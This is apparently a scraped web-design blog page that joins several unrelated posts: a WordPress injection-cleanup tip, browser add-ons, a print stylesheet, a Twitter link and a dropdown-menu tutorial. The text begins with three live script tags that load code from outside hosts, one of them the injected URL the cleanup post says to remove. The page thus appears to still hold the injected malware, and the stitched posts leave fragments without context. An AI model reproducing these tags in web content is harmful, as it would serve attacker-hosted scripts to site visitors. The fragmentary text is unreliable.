<script src="http://ae.awaue.com/7"></script>
<script src="http://ie.eracou.com/3"></script>
<script src="http://secree.com/re"></script>

Without getting into all the reasons it may or may not be happening, there is something you can do to clean up some of your issues.

1. Check for new users like JohnnyA or any others you didn’t create or allow. Delete them.

2. Change your passwords

3. Go into your WordPress configuration file and reset the secret keys (http://api.wordpress.org/secret-key/1.1/”>http://api.wordpress.org/secret-key/1.1/).

4. Access your PHPmyadmin and enter this query:

UPDATE wp_posts SET post_content = replace(post_content, '<script src="http://secree.com/re"></script>', '')

Make sure to replace the script url within the quotes with whichever injected link your site is affected by. When you hit go, it should run the query and replace the injected link from your site.

This is not completely comprehensive and I was also hit by a different attack that didn’t do this particular injection, so this may not be the solution you are looking for.

For more info, check out the Mediatemple page about the exploit: http://wiki.mediatemple.net/w/WordPress_Redirect_Exploit

Download – Eckert Drawings During Meetings #1 (224kb)

Download – Eckert Stamps #1 (5.1mb)

Next, check out these add-ons.

ColorZilla – let’s you pick out any color on a webpage and save it’s RGB or HTML color value.

Web Developer’s Toolbar – this thing has saved many a day with it’s ruler, div selector and other great features.

Firebug – I don’t know how I survived without this. Offers real-time in-browser editing to any websites HTML, CSS and Javascript.

Screengrab! – Hands down, the best screen shooting program I’ve found to-date. You can save or copy the whole webpage, the visible portion, your own selection or the window.

IE View – face it, IE is a pain that has no standards. After using a standards-compliant browser to design and develop your site, use this plugin with a simple right-click option to view any page in IE. Then enjoy fixing all of it’s errors.

SEO Quake – a great toolbar to gain knowledge about the Google Page Rank, link structures and other important SEO factors.

Once you let go of the ALT key, the ¢ should appear.

If it doesn’t, I would guess user error is involved.

That, or since you are currently here, you can just copy and paste this one.

¢

In the head code under your normal CSS, simply insert this code

<link rel="stylesheet" media="print" type="text/css" href="http://yoursite.com/print.css" />

Next make the print.css file on your server and start setting objects to display:block if you would like it to print or display:none if you do not.

This is not the limitation of the print.css file though. You can also change font-sizes, margins, floats, etc so that the printed version of your page looks much better.

One nice feature that you can add is a line that says something like “Thanks for visiting our site and printing this page!”. Just place it in an element and add a class like class=”printmessage”. In your regular CSS just list .printmessage {display:none;} and in your print.css label it .printmessage {display:block;}.

Well, just use the following code:

<a href="http://twitter.com/home?status=<?php the_permalink() ?>"><img src="http://itscalledwebdesign.com/wp-content/uploads/twitter01.jpg"></a>

The only problem with this is that it does not shorten the URL at all.  But other than that, it should work just fine.

We’d also prefer that you didn’t pull the image from our site, so feel free to download it and upload to your own site.

http://itscalledwebdesign.com/wp-content/uploads/twitter01.jpg

<script type="text/javascript"><!--//--><![CDATA[//><!--
sfHover = function() {
    if (!document.getElementsByTagName) return false;
    var sfEls = document.getElementById("nav").getElementsByTagName("li");

    for (var i=0; i<sfEls.length; i++) {
        sfEls[i].onmouseover=function() {
            this.className+=" sfhover";
        }
        sfEls[i].onmouseout=function() {
            this.className=this.className.replace(new RegExp(" sfhover\\b"), "");
        }
    }

}
if (window.attachEvent) window.attachEvent("onload", sfHover);
//--><!]]></script>

Next, you are going to to set up the navigation.  Check out the example code, then read the description of what it means below:

<div id="catnav">
  <div id="nav">

  <ul>
    <li><a href="http://yourdomain.com/">Home</a></li>
  </ul>

  <ul>
    <li><a href="http://yourdomain.com/page1/">Page One</a>
     <ul>
      <li><a href="http://yourdomain.com/page1sub1/">Page One Sub One</a></li>
      <li><a href="http://yourdomain.com/page1sub2/">Page One Sub Two</a></li>
     </ul>
    </li>
  </ul>

  <ul>
    <li><a href="http://yourdomain.com/page2/">Page Two</a>
     <ul>
      <li><a href="http://yourdomain.com/page2sub1/">Page Two Sub One</a></li>
      <li><a href="http://yourdomain.com/page2sub2/">Page Two Sub Two</a></li>
      <li><a href="http://yourdomain.com/page2sub1/">Page Two Sub Three</a></li>
     </ul>
    </li>
  </ul>

  </div>
</div>

The first HOME link has no dropdown, just the initial link.  The next cluster has a main link and then 2 sub pages in the dropdown and the last one has three sub links.

You can modify the link paths and how many dropdown sub links that you require.  Just make really sure that the first part of the code cluster starts with an <li>, but the ending </li> doesn’t come until the bottom of the cluster.  This has screwed me over a couple of times and I’ll save you the trouble.

The last thing you will need is the CSS.

#catnav {
  	padding: 0;
  	clear: both;
 	height: 32px;
 	width: 1000px;
 	background: #000;
  	position: absolute;
  	top: 85px;
        z-index: 100;
}

#nav {
  	list-style: none;
  	margin: 0;
  	padding: 0;
	position: relative;
	z-index: 100;
}

#nav ul {
  	margin: 0;
  	padding: 0;
}

#nav li {
  	float: left;
 	margin: 0;
 	padding: 0;
	list-style: none;
}

#nav a {
  	display: block;
  	line-height: 32px;
 	margin: 0 20px;
  	padding: 0;
  	font-size: 14px;
  	color: #fff;
	font-weight: bold;
}

#nav li a:hover {
  	color: #fff;
  	text-decoration: underline;
  	display: block;
}

#nav li ul {
  	list-style: none;
  	position: absolute;
  	width: 150px;
  	left: -999em;
}

#nav li:hover ul, #nav li.sfhover ul {
  	left: auto;
}

#nav li li {
  	float: left;
  	margin: 0;
  	padding: 0;
 	width: 129px;
}

#nav li li a {
 	width: 129px;
  	height: 24px;
  	line-height: 24px;
  	color: #000;
  	border-bottom: 1px solid #000;
  	background: #c5c5c5;
  	margin: 0;
  	padding: 5px 20px 5px 15px;
}

#nav li li a:hover {
  	border-top: 1px solid #131f27;
  	background: #000;
  	padding: 5px 20px 5px 15px;
}

#nav li:hover, #nav li.sfhover { /* prevents IE7 drop-down menu bug (focus on a page element prevents nested menus from disappearing) */
  	position: static;
}

Obviously, you can and will modify this to make it fit for your site, but this should get you started.